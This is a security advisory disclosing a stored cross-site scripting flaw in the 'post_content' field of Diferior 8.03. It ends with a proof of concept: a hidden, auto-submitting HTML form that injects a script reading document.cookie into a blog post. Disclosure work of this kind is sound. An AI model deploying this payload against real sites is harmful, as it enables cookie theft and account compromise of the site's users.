Vulnerability ID: HTB22721 Reference: http://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_diferior.html Product: Diferior Vendor: Povilas Musteikis ( http://www.diferior.com/ ) Vulnerable Version: 8.03 and probably prior versions Vendor Notification: Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "views/post.php" script to properly sanitize user-supplied input in "post_content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="category" value="sample-category-1"> <input type="hidden" name="header" value="Sample post"> <input type="hidden" name="subheader" value="Sample subheader"> <input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'> <input type="hidden" name="schedule" value="now"> <input type="hidden" name="scheduler" value="10/11/23"> <input type="hidden" name="Date_Year" value="2010"> <input type="hidden" name="Date_Month" value="11"> <input type="hidden" name="Date_Day" value="22"> <input type="hidden" name="Time_Hour" value="20"> <input type="hidden" name="Time_Minute" value="47"> <input type="hidden" name="Time_Second" value="23"> <input type="hidden" name="usehtml" value="html"> </form> <script> document.main.submit(); </script>